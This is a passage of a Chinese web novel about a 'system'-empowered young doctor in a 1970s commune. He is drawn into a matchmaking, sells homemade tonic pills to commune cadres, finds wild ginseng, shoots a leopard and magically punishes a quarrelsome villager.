年轻有为,医术高超,还拿着十八块钱的工资,谁家有闺女的不眼馋? 好几家脸皮厚的,都开始托人旁敲侧击了。 这天下午,日头正暖。 江沐在院子里支了个大大的竹簸箕,正把炮制好的草药一味味摊开晾晒,空气中弥漫着一股淡淡的药香。 院门被推开,一阵风风火火的脚步声传来。 “江知青!忙着呐?” 江沐抬头,只见张兰搓着手,一脸恨铁不成钢的表情走了进来,那双眼睛在他身上上下打量。 “张婶,您来啦,快坐。”江沐拍了拍手上的药末,指了指屋檐下的小马扎。 张兰哪有心思坐,她几步走到江沐跟前,压低了声音,开门见山地质问。 “江知青,婶子我也不跟你绕弯子了。你给句准话,你是不是……没瞧上我们家小月?” 这话说得又急又冲,带着一股子审判的味儿。 江沐闻言一愣,随即有些哭笑不得。 这半个月他是真忙忘了,没想到在这位婶子眼里,竟成了无声的拒绝。 他立刻摆手,神色认真了几分,“张婶,您可千万别误会,没有的事。小月同志是个好姑娘。” “好姑娘?”张兰的调门瞬间拔高了八度,“既然觉得是好姑娘,那你咋半个多月了连个影儿都不见?连句话都不去跟人说?” 她凑近一步,神神秘秘地继续念叨。 “我跟你说,你可别被那些歪瓜裂枣给骗了!她们哪有我们家小月好看?哪有我们家小月手巧?你是个文化人,得擦亮眼睛!” 江沐听得是一个头两个大,他算是见识到这个年代媒人的厉害了。 他只能举手投降,语气诚恳,“张婶,您放心,我要是真没那个意思,肯定第一时间就跟您明说了,绝不耽误小月同志。最近实在是……太忙了。” “忙?”张兰眼睛一瞪,随即又放缓了语气,一副过来人的姿态,语重心长地拍了拍江沐的胳膊。 “江知青啊,婶子知道你是有本事的人。但这追女娃子,跟你看病可不一样!脸皮就得厚!你不主动,人家女孩子家家的,还能上赶着来找你?” 江沐被说得哑口无言,心里却也明白,张兰说的都是实在话。 在这个保守的年代,自己确实该主动一些。 他郑重地点了点头,给了张兰一个安心的笑容。 “张婶,我懂了。您放心,我下午忙完手头的事,就去找小月同志……嗯,跟她聊聊天。” 得到了肯定的答复,张兰这才喜笑颜开,又叮嘱了几句要主动、要会说话之类的诀窍,才心满意足地离开了。 送走张兰,江沐无奈地摇了摇头,目光却落在了墙角一个不起眼的包裹上。 那里,静静地躺着从系统抽出的青铜炼药鼎。 或许,是时候让它见见光了。 下午,江沐锁好了卫生室的大门,将那尊古朴的青铜小鼎搬到了后院。 药鼎不过半尺来高,三足鼎立,鼎身刻着繁复的云纹,入手微沉,带着岁月的沧桑感。 他按照记忆中的方子,将早就准备好的鹿茸、肉苁蓉、枸杞、淫羊藿等十几味药材,按照君臣佐使的配比,依次投入鼎中。 生火,控温。 随着火焰的舔舐,青铜鼎身逐渐变得温热,一股浓郁的药香开始在小院中弥漫。 与寻常熬药的苦涩不同,这股香气中,竟带着一丝若有若无的甜腥和异香。 江沐全神贯注,精神力高度集中。 他能清晰地感觉到,药鼎之内,各种药材的精华正在加速融合、提纯! 一个小时后,他猛地撤火。 打开鼎盖,一股热浪扑面而来,鼎内已经不见药材的踪影,只剩下一滩漆黑如墨、粘稠如膏的药液,表面泛着一层奇异的油光。 成了! 江沐心中一喜,第一次炼药,竟然如此顺利! 这青铜鼎果然是神器! 他小心翼翼地将药液倒出,用细密的纱布过滤掉残渣,待其稍微冷却后,趁着药性还未凝固,双手飞快地搓动起来。 很快,一颗颗指甲盖大小、乌黑油亮的药丸,在他手中成型。 清点了一下,不多不少,整整三百颗。 江沐捏起一颗,放在鼻尖轻嗅,那股提神醒脑的异香更加浓郁了。 他知道,这东西的药效,绝对远超自己的预期! 第二天一早,江沐揣着一个用油纸包好的小包,径直去了公社大院,找到了书记周志康。 “周书记。”江沐敲了敲门。 “哟,是小江医生啊,快进来快进来!”周志康一见是他,立刻热情地站了起来,亲自给他倒了杯水。 自从上次江沐治好了他那难言之隐,他在周志康心里的地位,早已非同一般。 江沐也不客套,坐下后,便将那个油纸包推了过去。 “周书记,这是我最近自己琢磨着弄出来的一点小东西,想请您给品鉴品鉴。” 周志康好奇地打开油纸包,只见里面是十几颗黑不溜秋的小药丸,散发着一股奇异的香味。 “这是?” 江沐身体微微前倾,压低了声音,脸上带着一抹神秘的微笑。 “周书记,这东西,没别的用处。就是……能让男人更像男人。另外,对改善睡眠,效果也立竿见影。” 一句话,瞬间打开了周志康心里最隐秘的那扇大门! 他死死地盯住那些黑色药丸! “这……这个……”周志康的声音都有点发颤,他一把抓过纸包,紧张地追问,“我吃……能管用不?” 江沐淡定地端起水杯,吹了吹热气。 “它算不上是药,更像是一种补品。固本培元,没什么副作用。您长期吃,对身体只有好处,没有坏处。” “好!好!好啊!” 周志康一连说了三个好字,脸上的喜悦溢于言表! 他小心翼翼地将油纸包揣进自己最里层的口袋。 他猛地一拍大腿,目光灼灼地看着江沐,语气无比真诚。 “江沐啊!你可是又帮了我一个天大的忙!说吧,你有啥事需要我帮忙的,只要我周志康能办到,绝不含糊!” 第35章 一颗下去管上一个月,物有所值 江沐迎着他的目光,清了清嗓子:“周书记,这药丸,用了不少名贵药材才制出来的。实不相瞒,我今天来,除了给您送药,还有个不情之请。” “哦?”周志康眉毛一扬,兴致盎然,“但说无妨!” “我想着,这药效果好,咱们公社乃至县里的干部们,平日里工作劳心劳力,身子骨难免亏空。我想把这药推广一下,也算是为大伙儿的身体健康出份力。” 江沐的语速不快,条理却异常清晰。 他顿了顿,伸出两根手指:“价格方面,我暂定两块钱一颗。您别嫌贵,这里头的鹿茸、肉苁蓉可都是托人高价收来的,而且这药效霸道,一颗下去管上一个月,物有所值。” 周志康心中飞速盘算起来。 两块钱,对于普通社员来说是天价,但对于吃商品粮的干部,尤其是那些有点级别、有点家底的人来说,为了家庭和谐和革命本钱,这钱花得太值了! 江沐见他意动,抛出了最后的筹码,嘴角勾起一抹自信的弧度:“周书记,您是咱们公社的领头人,只要您能帮忙牵个线,让大家伙儿知道有这么个好东西,您以后的药,我全包了,分文不取!” “哈哈哈,好小子!”周志康一拍大腿,眼中精光四射,爽朗大笑。 “你这是给我送健康,还给咱们公社创收啊!行,这事儿我应下了!你江沐的事,以后就是我周志康的事!” 这承诺,分量极重。 江沐心中一松,从油纸包里又数出九颗,凑了个整数推到周志康面前。 “这十颗您先用着,也可以送给信得过的同志试试效果。口碑,才是最好的招牌。” “成!就这么定了!”周志康小心翼翼地将药丸重新包好,揣进内兜,拍了拍,仿佛揣着什么绝世珍宝。 从周书记家出来,江沐只觉得浑身轻松。他蹬上那辆崭新的凤凰牌二八大杠,朝着公社卫生院而去。 到了卫生院,孙志正戴着老花镜在整理药材,见到江沐,脸上立刻堆起了热情的笑容:“江医生,你可来啦!我还想着你啥时候回来呢!” “孙院长,我来领下工资。”江沐笑着从车兜里拿下一条大前门香烟,不由分说地塞进孙志手里。 “哎哟,你这是干啥!使不得使不得!”孙志连连摆手,却被江沐按住了。 “孙院长,这段时间多亏你照顾。这是我一点心意。”江沐态度坚决,随后又从口袋里摸出一个小油纸包,递了过去。 “这里面有十颗药丸,我自个儿配的,固本培元、补肾壮阳的,你留着用。” 孙志一听功效,眼睛都直了。 作为医生,他更明白这东西对男人的重要性。 他也不再推辞,珍而重之地收下,麻利地从抽屉里数出十八块钱递给江沐。 “你的工资,周书记特意交代过,就算你只干了二十多天,也按满月发!” 揣着沉甸甸的十八块钱,江沐心里暖洋洋的。 这个时代虽然物资匮乏,但人与人之间的情谊却很真挚。 回知青点的路上,刚拐过一个土坡,就听见有人喊他。 “江知青!江沐!” 江沐捏住刹车,一脚点地,回头望去,正是张兰和跟在她身后的张小月。 张兰依旧是那副风风火火的样子,满脸堆笑。 张小月则穿着一件洗得发白的碎花衬衫,低着头,两只手紧张地绞着衣角,耳根透着一抹粉红。 “张大娘,小月同志。”江沐笑着打招呼,“你们这是要去哪?” “我们不就专程来找你的嘛!”张兰几步上前,围着江沐的自行车转了一圈,啧啧称奇。 “哟,凤凰牌!江知青真有本事!我们家小月她妈,就是我那弟妹刘桂芝,心疼你一个人在这边没人照顾,特地给你纳了双千层底,让我带来给你试试合不合脚。” 说着,她就从挎着的布包里掏出一双崭新的黑面布鞋,鞋底纳得密密麻麻,针脚均匀,一看就是用了心的。 “这……这怎么好意思。”江沐有些受宠若惊。 “有啥不好意思的!走走走,去你屋里,赶紧试试!” 张兰不由分说,推着江沐就往知青点走,张小月小步跟在后面,头埋得更低了。 回到江沐收拾得干净利落的土坯房,他搬出桌子和两条长凳,又抓了一把前几天在供销社买的瓜子放在桌上。 “快,试试鞋。”张兰催促道。 江沐脱下脚上的旧鞋,将脚伸进新的布鞋里。 鞋做得极好,就是……稍微紧了一些,有点夹脚。 他脸上露出些许尴尬。 张兰是何等眼力,一看便知,立刻满不在乎地一挥手:“哎呀,小了!没事没事!回头让你婶子照着你的脚样再做一双,保准舒舒服服!” 张小月也抬起头,细声细气地附和:“嗯,我娘手可巧了。” 江沐更不好意思了,挠了挠头:“张大娘,这……我还没见过婶子,就收这么贵重的礼物,实在是……” “嗨!这有啥!”张兰眼珠一转,计上心来,一拍大腿,“下午你送送小月回家,不就见着了?正好让你婶子亲眼量量你的脚,做出来才合脚!” 这话说得滴水不漏,江沐竟找不到拒绝的理由。 看着张小月那双偷偷瞟过来又迅速躲闪的眼睛,他心里一软,点了点头:“那……那就麻烦婶子了。” “不麻烦不麻烦!”张兰喜上眉梢,觉得这事儿成了八分。 眼看快到晌午,江沐看了看天色,挽留道:“张大娘,小月同志,别走了,中午就在我这儿吃顿便饭吧,我前两天套了只兔子,正好给你们尝尝我的手艺。” “那哪成!我们咋能吃你的口粮!”张兰嘴上客气着,脚下却没动。 兔子肉,这可是稀罕东西! “必须成!你们不留下,就是看不起我!”江沐故意板起脸,转身就往厨房走,“你们先坐着嗑瓜子,我去去就来!” 见他如此坚持,张兰也就不再推辞,乐呵呵地坐下了。 江沐想了想,干脆把队长李有柱、知青点长吴有才和几个相熟的知青都喊了过来,人多也热闹。 很快,小小的院子里就支起了桌子。 一盘油汪汪的麻辣兔丁,一盘土豆烧兔块,再配上两个炒青菜,香味瞬间就飘满了整个知青点。 江沐还拿出沈焱送的那瓶好酒,给每人都满上了一杯。 “乖乖!江沐你小子可以啊!这手艺,赶上国营饭店的大师傅了!”李有柱夹了一块兔肉,辣得嘶嘶哈哈,却满口称赞。 “是啊江医生,真是没想到,你不但医术高明,做饭都这么好吃!” 第36章 认认门,下次好找 众人七嘴八舌的夸赞声中,张小月只是低着头,悄悄夹起一块兔肉,小口小口地吃着,脸颊上却飞起了两抹好看的红霞。 酒足饭饱,几个手脚麻利的妇女,包括张兰在内,主动收拾起碗筷去了厨房。 院子里,男人们则点上了烟,围着桌子天南海北地聊了起来。 李有柱深吸一口大前门,满足地吐出一个烟圈,黝黑的脸上带着几分酒后的红润。 “江沐啊,你这日子可比我们舒坦多了。再过个十天半月,队上就得开镰收麦子,那才叫真累人!收完了麦子,地都来不及歇口气,就得立马抢种玉米,一茬接一茬。” 他的话匣子一开,其他人也纷纷附和起来,言语间满是对繁重农活的无奈和对未来的些许迷茫。 江沐静静听着,没有插话。 他能理解这种面朝黄土背朝天的辛劳。 正聊着,张兰从屋里走了出来,擦了擦手,笑呵呵地对着江沐喊:“江知青,碗都洗好了,我们娘俩也该回去了。你可别忘了下午的事儿啊,早点送小月回去,晚了路不好走!” “忘不了,张大娘您放心。”江沐笑着起身应下。 送走了众人,院子瞬间安静下来。 午后的阳光带着燥热,加上喝了点酒,一股浓浓的困意涌上心头。 江沐回到屋里,往那张修缮一新的土炕上一躺,眼皮一沉,转眼就睡了过去。 这一觉,睡得格外沉。 …… 也不知过了多久,江沐是被一阵莫名的压抑感惊醒的。 他猛地睁开眼,屋里光线昏暗,完全不像是午后。 他翻身下炕,冲到门口一看,顿时暗道不好。 天色不知不觉间已变得暗沉,厚重的乌云从西边的山头滚滚而来,压得人有些喘不过气。 空气里满是潮湿的土腥味。 这是要下暴雨的前兆! 江沐抬手看了眼腕表——指针赫然指向了下午三点半! “坏了!”他一拍脑门,顾不上别的,锁上门就冲向院角,一把推起自己的自行车,飞也似地朝着李有柱家蹬去。 到了李有柱家院外,还没进门就听见了张兰焦急的声音。 “这天眼看就要下雨了,江知青咋还没来呢?小月,要不还是让柱子套牛车送你回去吧?” “姑,不用麻烦柱子叔了,我自己走回去就行,天黑前肯定能到。” 张小月的声音细细的,带着倔强和掩不住的失落。 她已经提了好几次自己走了,都被张兰给按了下来。 江沐推着车走进院子,满脸歉意:“张大娘,小月同志,实在对不住,我睡过头了!” 看到江沐出现,张兰脸上的焦急瞬间化为惊喜,上前一步就拉住了他的胳膊,嗔怪道。 “你这孩子,可把我们娘俩给等急了!快快快,赶紧送小月回去,再晚点就得淋成落汤鸡!” 江沐尴尬地挠了挠头,目光对上张小月那双眸子,心里更过意不去了。 “赶紧走吧。”他跨上自行车,拍了拍后座,“小月同志,上来吧。” 张小月红着脸,侧身坐上了车后座,双手紧张地抓着座位的边缘。 江沐双脚用力一蹬,自行车平稳地驶出了院子。 一路无话,只有车链条清脆的声音和越来越沉闷的风声。 快到三大队村口时,江沐没有停车的意思。 “江……江知青,我就在村口下吧,前面就是我家了。”张小月小声提醒。 “没事,我直接送你到家,认认门,下次好找。”江沐的声音沉稳有力,带着一种不容拒绝的温和。 张小月的心跳漏了一拍,没再说话,嘴角却不自觉地向上弯起了一个小小的弧度。 自行车径直骑进了一个宽敞的院落。 这院子比江沐住的那个大了足足两倍,收拾得干净整洁。 院子一角用石头垒了个猪圈,里面正哼哼唧唧地躺着一黑一白两头肥硕的猪。 “你爸妈上工还没回来?”江沐停好车,打量着院子。 “嗯,应该快了。”张小月从车上下来,有些局促地站在原地。 院子里只有他们两个人,气氛一时有些微妙。 江沐想找点话说,目光落在她的脸上,鬼使神差般地冒出一句:“你……你的眼睛很好看。” 张小月猛地抬起头,正好撞进江沐那双带着笑意的深邃眼眸里,脸颊上的红晕一下蔓延到了雪白的脖颈,声音细若蚊蚋:“哪……哪有……” 就在这时,天边划过一道惨白的闪电,紧接着一声沉闷的雷声滚滚而来。 “要下雨了,我得赶紧回去了。”江沐抬头看了看天,不敢再多逗留。 “那你路上小心!”张小月鼓起勇气叮嘱了一句。 江沐点点头,跨上车,蹬了几下又回头喊道:“对了,替我谢谢婶子,改天我再来登门拜访,让她给量脚样!” 说完,他便如一阵风般消失在院门口。 江沐前脚刚进家门,豆大的雨点便噼里啪啦地砸了下来,瞬间,整个世界都被笼罩在了一片白茫茫的雨幕之中。 而另一头,张小月的父母张峰和刘桂芝扛着锄头,一路小跑地赶回了家,正好和倾盆大雨擦肩而过。 “江知青来过了?”刘桂芝看到女儿脸上的神色,立马猜到了七八分。 “嗯,刚走。” “哎呀!”张峰一拍大腿,满脸懊恼,“就差那么一步!早知道我们俩就跑快点了,连口水都没让人家喝上!” …… 这一夜,雨声潺潺。 第二天清晨,江沐是被一连串清脆的系统提示音唤醒的。 【叮!检测到周志康服用了您的丹药,效果令其震撼,声望值+10!】 【叮!检测到孙志服用了您的丹药,效果令其惊叹,声望值+10!】 【叮!检测到……】 一连十几条提示音接连不断地在脑海中响起,全都是昨晚那些试用者贡献的声望。 一夜之间,声望值暴涨了整整100点! 江沐眼神瞬间亮了起来,心里的小算盘打得噼啪作响。 一颗药丸两块钱,还能带来10点声望,他手里还剩下两百八十颗! 这哪里是药丸,这简直就是一座移动的金矿,一台声望值的超级收割机! 发财了!这次是真发财了! 而此时的青莲公社大院里,周志康刚刚端着一个巨大的搪瓷缸子走进办公室,屁股还没坐热,门口就探进来好几个脑袋。 来的正是昨天得了他药丸的那几个公社干部。 第37章 这简直是瞌睡来了送枕头 “周书记,您……您身体好着呢?”一个脑袋探进来,是公社的会计王胜利。 “好,好得很!”周志康把巨大的搪瓷缸子顿在桌上,水花溅出几滴,他却毫不在意,红光满面地一挥手,“好得不能再好了! 门口的几个脑袋一下全挤了进来,七嘴八舌,声音都压得低低的,带着一股子急不可耐。 “书记,您那神药……还有没有?” “是啊周书记,匀我们一颗呗?这眼瞅着要双抢了,没个好身板可顶不住!” “价钱好说,价钱好说!” 看着这群平日里开会打瞌睡、见了难题绕道走的干部,此刻一个个眼冒绿光,周志康心里乐开了花,面上却板了起来。 他慢条斯理地从抽屉里摸出一包大前门,给自己点上一根,深吸一口,才沉声开口:“东西,是江知青那儿来的。不过,丑话说在前头。” 众人立刻噤声,竖起了耳朵。 “这东西,金贵得很!”周志康伸出两根手指,在众人眼前晃了晃,“一颗,这个数。” 两块钱! 两块钱,那可是城里正式工小半天的工资,够一个庄稼汉子买好几斤猪肉了! “而且,”周志康加重了语气,眼神扫过每一个人。 “江知青说了,这玩意儿是虎狼之药,不能多吃。一个月,最多两颗!谁要是贪多嚼不烂,吃出问题来,可别找我,更别去找江知青的麻烦!” 短暂的沉默后,王胜利第一个拍了板:“我买!书记,给我来一颗!” “我也要!” “算我一个!” 众人哪还管什么两块钱,昨晚那脱胎换骨、重振雄风的感觉,别说两块,就是三块、五块也值啊! “行了行了,都别嚷嚷。”周志康从笔筒里抽出一支笔,摊开一个本子。 “要的,都过来登记,把钱先交了。我让孙主任统一去拿。” 他看了一眼站在人群后面,同样一脸意动的公社收购主任孙阳。 “孙阳,这事儿你跑一趟。” 周志康把收上来的钱和登记表递过去,又对着众人意味深长地补充了一句。 “东西好不好,你们自个儿心里有数。江知青是咱们公社的宝贝,他这药能帮咱们解决大问题,你们也机灵点,多跟相熟的单位同志们提一提,明白吗?” 众人心领神会,连连点头,这哪里是药,这分明是打通关系的硬通货啊! 孙阳揣着滚烫的钞票和名单,脚下生风地赶到了卫生所。 彼时,江沐正在整理药柜,听到脚步声,一抬头,便看到一个略有些富态的中年干部走了进来。 “是江知青吧?”孙阳脸上堆着笑,很是客气,“我是公社收购站的孙阳。” 他开门见山,将手里的登记表和一把零零整整的钞票放在桌上。 “江知青,这是周书记托我来办的事儿。这名单上的人,都想买你那个……那个滋补丹。你给点点钱,看看对不对。” 江沐的目光在名单上一扫而过,心里波澜不惊,一切尽在掌握。 他接过钱,手指翻飞,迅速清点了一遍。 一共十个人,每人预定了五颗,总计五十颗,不多不少,正好一百块钱。 “钱数没错。”江沐将钱收好,转身取出药丸,分装好。 孙阳看着那黑黢黢的药丸,忍不住咽了口唾沫,犹豫着问:“江知青,我多嘴问一句,这东西……女人能吃吗?我那婆娘,最近老说睡不好,浑身没劲儿。” 江沐闻言,淡然一笑:“此药重在固本培元,滋阴补阳,阴阳调和方为大道。女子体虚,同样适用,能安神助眠,补益气血。” “哎哟!那太好了!”孙阳一拍大腿,像是捡了宝,立马又从兜里掏出十块钱拍在桌上,“那……那我也给我婆娘买五颗!” 江沐收下钱,又数了五颗药丸给他。 在递过去的时候,他顺手从自己的药包里又拈起一颗,一并放了进去。 “孙主任是第一个来买的,这颗算我送的。”江沐叮嘱道,“这药丸怕潮,拿回去一定用瓶子装好,放在干燥的地方,密封保存。” 这一个小小的举动,让孙阳顿时受宠若惊,心里对江沐的好感直线上升。 他小心翼翼地把药丸揣进内兜,拍着胸脯保证:“江知青你放心,这药的好处,我一定帮你好好说道说道!保管让更多人知道你的厉害!” 送走孙阳,江沐心中大定。 公社这边的销路算是彻底打开了,接下来,就看周志康什么时候把药送到县里的沈焱手上,那将是另一片更广阔的天地。 只是,眼下还有一个更迫切的问题——药材快见底了。 正盘算着找个时间进山,大队的广播恰好响了起来。 原来是再过十来天就要双抢,大队决定组织人手进山一趟,看看能不能打头野猪回来,给社员们在累死累活前开开荤,鼓舞士气。 这简直是瞌睡来了送枕头! 江沐立刻找到李有柱报了名。 这次进山的队伍,算得上是青莲公社的精锐力量。 领头的是民兵队长孙建峰,一个经验丰富的老猎手; 跟着他的是他儿子孙超群,一个愣头青小子; 还有大队长李有柱的儿子李振国,以及高书记高志强的二儿子高建国。 江沐背着一个大大的背篓,里面装着药锄和几个空布袋,跟在这支五人小队里,显得有些格格不入。 进了深山,林子愈发茂密。 孙建峰停下脚步,指着两个方向,对众人简单分派:“我们几个往那边山沟子去,那边有水源,畜生多。江知青,你自己采药,千万别往深里走,就在这外围打转,听见没?” “放心吧孙队长,我有分寸。”江沐巴不得单独行动。 众人点头应下,很快便消失在了丛林的另一头。 山林瞬间恢复了寂静,只剩下风吹过树叶的沙沙声。 江沐精神一振,辨认了一下方向,便一头扎进了这片天然的药材宝库。 他的动作极为专业,眼光毒辣,寻常人眼里的杂草,在他看来却可能是珍贵的药材。 黄精、茯苓、柴胡……不到中午,背篓里就有了不小的收获。 午时,他寻了个隐蔽的山坳,从系统商城里兑换了一份热气腾腾的肉包子和一壶水,简单解决了午饭。 稍作休息,江沐继续下午的工作。 他正专注地挖一株上了年份的何首乌,小心翼翼地刨开四周的泥土,忽然,脚下的地面传来一阵异样的松动感。 不好! 江沐心中警铃大作,可为时已晚。 他只觉得脚下一空,那片看似坚实的、铺满枯枝败叶的地面,竟是一个被巧妙伪装起来的陡坡边缘! 身体瞬间失去了平衡,一股巨大的拉扯力传来,江沐连一声惊呼都来不及发出,整个人便控制不住地朝着山坡下滚了下去。 第38章 这一棵人参,直接让他一夜暴富 千钧一发之际,江沐的右手本能地向前一探,竟死死抓住了一截柔韧的枝干! 江沐全身肌肉瞬间绷紧,双腿在陡坡上奋力一蹬,总算是在滚下七八米后,狼狈不堪地稳住了身形。 他靠着山壁,剧烈地喘息着,额头上渗出了一层细密的冷汗。 检查了一下全身,还好,除了几处擦伤,并无大碍。 真是万幸。 江沐松了口气,刚要起身,眼角的余光却被身旁一抹异样的色彩吸引。 掌状的复叶下,一簇鲜红欲滴的浆果格外醒目,如同玛瑙般点缀在深绿色的背景之上。 这是…… 人参!这绝对是野山参! 他立刻从背篓里取出药锄,动作轻柔得像是在对待一件稀世珍宝。 他先用一根红绳将人参的茎叶小心翼翼地系好,这是行话,叫锁住参气。 然后,他以植株为中心,从一尺开外的地方开始深挖,一点一点地向内收拢。 泥土被缓缓刨开,一支粗壮的、呈现出古朴黄褐色的人参主根渐渐显露出来。 “系统,鉴定!”江沐在心中默念。 【叮!检测到目标:百年野山参。品相:极品。可兑换声望值:5000点!】 五千点! 江沐的呼吸骤然一滞。 这简直是天降横财! 这一棵人参,直接让他一夜暴富! 他压抑住内心的激动,愈发小心地将整株人参完整地请了出来。 发财了,这下药材的本钱彻底不用愁了。 江沐心满意足地站起身,刚一回头,浑身的汗毛却全部倒竖了起来! 不知何时,在他身后不到十米的一块岩石上,竟蹲踞着一只大猫! 金钱豹! 他下意识地握紧了手里的老旧步枪,那是临进山时,民兵队长孙建峰看他是个文弱书生,硬塞给他防身用的汉阳造。 “吼——” 那金钱豹喉咙里发出一声低沉的咆哮,后腿微微下沉,做出了一个即将扑击的姿态。 跑是肯定跑不掉了! 电光石火之间,江沐的大脑冷静到了极点。 他猛地举起枪,甚至来不及仔细瞄准,只是凭着感觉对准那畜生的大致方向,手指重重地扣下了扳机! 他的本意,只是想用枪声把这头猛兽吓走! 一声巨响在山谷中回荡,巨大的后坐力震得江沐肩膀一阵发麻。 预想中豹子受惊逃窜的画面没有出现。 对面岩石上,那金钱豹扑击的动作戛然而止,直挺挺地从岩石上栽了下来,摔在地上抽搐了两下,便再无声息。 江沐愣住了。 一枪毙命?正中眉心? 这……这是什么神仙运气? 江沐自己都懵了,他不过是想朝天开一枪啊! 短暂的震惊过后,他立刻反应过来。 这可是一身的好东西!虎骨豹骨都是顶级药材,这一身皮毛更是价值连城! 他下意识地就想沟通系统空间,把这意外之喜给收进去。 可就在这时,他身后不远处的灌木丛中传来一阵响动。 “谁?!”江沐心中一凛,迅速调转枪口,厉声喝问。 “别开枪!是俺!”一个粗犷的声音响起,紧接着,民兵队长孙建峰拨开树枝,探出了脑袋。 当他看到眼前的景象时,整个人都石化。 孙建峰的嘴巴张得能塞下一个鸡蛋,他揉了揉眼睛,结结巴巴地问:“江……江知青,这……这是你打的?” 江沐心里暗道一声可惜,但面上却不动声色,只是苦笑了一下:“孙队长,说出来你可能不信,我就是想开枪吓唬它一下,谁知道……” 孙建峰倒吸一口凉气,看向江沐的眼神彻底变了。 “建峰哥,咋回事?” 李振国和高建国等人也循着枪声赶了过来,他们肩上还扛着一头哼哼唧唧被捆得结结实实的野猪。 当他们看到地上的金钱豹时,反应和孙建峰如出一辙。 “我的乖乖!”李振国瞪圆了眼睛,“江知青,你……你把山神爷给请下来了?” 孙建峰把江沐那套阴差阳错的说法一讲,众人更是啧啧称奇,看向江沐的眼神里充满了敬佩和崇拜。 “行了,别愣着了。”孙建峰回过神来,拔出腰间的猎刀,“赶紧给它放血,不然肉就腥了。” “等等!”江沐立刻出声阻止。 他上前一步,郑重其事地解释:“孙队长,这金钱豹的血可是大补之物,更是难得的药材,就这么放了太可惜。咱们先想办法抬回去,我来处理,保证一点都不浪费。” 孙建峰一愣,随即一拍脑门。对啊,江知青可是神医,他说的肯定没错。 “那……这玩意儿少说也有一百多斤,咱们几个轮流抬吧。”孙建峰提议。 然而,江沐却摇了摇头。 他在众人惊疑的目光中,将背篓里的药材腾挪了一下,然后深吸一口气,弯下腰,双手抓住金钱豹的两条前腿,猛地一发力。 “起!” 那一百多斤重的金钱豹,竟被他一个人硬生生地抡了起来,稳稳地搭在了背篓之上,再用绳子简单固定。 孙建峰、李振国等四个壮汉,看得眼珠子都快掉出来了。 他们面面相觑,都从对方眼里看到了同一个词:怪物! 就这样,一行五人,扛着一头金钱豹,两头野猪,走走停停,花了足足三个小时,才在太阳落山前赶回了青莲公社。 当江沐背着那只威风凛凛的金钱豹出现在村口时,整个村子都沸腾了! 大队长李有柱闻讯赶来,他听说是江沐一枪打死的时候,更是用力地拍着江沐的肩膀,赞不绝口。 江沐找来一个大盆,小心地在金钱豹脖颈处划开一道口子,接了小半盆的血,估摸着够自己炼药用了,便不再多取。 入夜,李有柱揣着一杆旱烟,专门找到了江沐的住处。 “江知青啊,今天这事儿,你可是给咱们公社长了大脸了!”李有柱吧嗒吧嗒抽了两口烟,神色却有些郑重,“不过有句话,俺得跟你说在前头。” 他顿了顿,语气沉了下来:“按照规矩,进山打的猎物,不管是谁打的,都得归公,然后按工分给大家伙儿平分。” 江沐心中了然,这才是这个时代的生存法则。 他淡然一笑,点点头:“李队长,这个道理我懂。我没意见,都听队里的安排。” 见江沐如此通情达理,李有柱紧绷的脸也缓和下来。 “不过,”江沐话锋一转,提出了自己的要求,“这豹子肉大家分了,我没二话。但是这张豹子皮,还有那根豹鞭,能不能留给我?我……留着入药用。” 李有柱闻言,没有丝毫犹豫,一拍大腿:“那必须的!这豹子本来就是你打的,皮和鞭给你,天经地义!谁敢说个不字,俺第一个不答应!” 第39章 把她给我拉起来! 李有柱话音刚落,人群里就钻出一个中年婆子,吊梢眼,薄嘴唇,一看就是个刻薄相。 “凭啥啊!”王冬梅双手往腰上一叉,尖利的声音响起,“那豹子皮也是山上的东西,是公家的!凭啥他江知青一个人独吞?那皮子拿到县里能换多少布票粮票?” 这话一出,原本喜气洋洋的气氛顿时一滞。 不少人虽然心里也犯嘀咕,但没人敢当这个出头鸟。 李有柱的脸瞬间黑下来,狠狠把烟锅在鞋底上磕了磕,旱烟杆子几乎要戳到王冬梅的鼻子上。 “王冬梅,你还要不要脸?!”李有柱的嗓门跟打雷似的。 “这豹子是江知青一个人冒着生命危险打死的!枪是他开的,也是他一个人背回来的!给你们分肉,是江知青敞亮,你倒好,还惦记上皮了?占便宜没够是吧?” 他环视一周。 “我把话撂这儿!谁眼馋,谁不服,可以!自己个儿进山,也给我打头豹子回来!王冬梅,你这么能算计,行,今儿这豹子肉,没你家的份儿!” “哎呀,杀千刀的李有柱啊!你这是滥用职权,欺负我们老百姓啊!” 王冬梅一听肉没了,当场耍起赖来,一屁股墩在地上,拍着大腿哭天抢地。 “没天理了啊!当个破队长就了不起了?不让我们活了啊!大家伙儿都来看看啊,干部欺负人啦……” 这套撒泼打滚的把式,她在村里是出了名的。 就在众人手足无措之际,一个清脆又威严的女声响起。 “把她给我拉起来!” 妇女主任张碧霞拨开人群走了进来,她人长得利索,办事更是干脆。 她身后跟着两个壮实媳妇,上去就一边一个,架住了王冬梅的胳膊。 “王冬梅,我早就看你不顺眼了!成天东家长西家短,搅得队里不得安生!”张碧霞杏眼一瞪,满脸煞气。 “再敢嚎一声,今晚就给我去牛棚里跟老牛作伴,好好反省反省!” 被两个女人死死按住,王冬梅动弹不得,嘴里却还不干不净地骂着:“你们官官相护!欺压良善!我要去公社告你们!” “队长,碧霞主任,我娘她……她就是一时糊涂,您们大人有大量,别跟她一般见识。” 人群后挤进来两个男人,一个是王冬梅的老公林展堂,另一个是她二十出头的儿子林顺子。 父子俩满脸通红,恨不得找个地缝钻进去。 林顺子连连作揖,几乎要给李有柱跪下。 李有柱重重哼了一声,他也不想真把事情闹大,毕竟是一个队的社员。 他冲张碧霞摆摆手:“行了,碧霞,今儿就先算了。再有下次,直接送牛棚关禁闭!” 张碧霞这才松了口,示意那两个媳妇放人。 王冬梅刚一脱困,梗着脖子还想再骂,却被林顺子眼疾手快地一把捂住了嘴,连拖带拽地往家拉。 江沐站在人群中,冷眼旁观了这一切。就在刚才王冬梅撒泼最凶的时候,他心念一动。 【叮!复发性口腔溃疡(重度),是否对指定目标释放?】 江沐的目光落在王冬梅那张喋喋不休的嘴上,意念确认。 一道无人可见的微光,悄无声息地没入了王冬梅的口中。 “唔……唔……”刚被拖出人群没多远,王冬梅就感觉不对劲了。 她嘴里火烧火燎地疼。 她用力挣脱儿子的手,想说话,却疼得龇牙咧嘴。 “娘!你还想干啥!”林顺子以为她还要回去闹,急得快哭了,“我都二十二了!就因为您这张嘴,十里八乡的姑娘谁敢嫁给我?您就当可怜可怜我,积点口德,让我娶上媳妇行不行!” “疼……我嘴疼……”王冬梅含糊不清地哭喊。 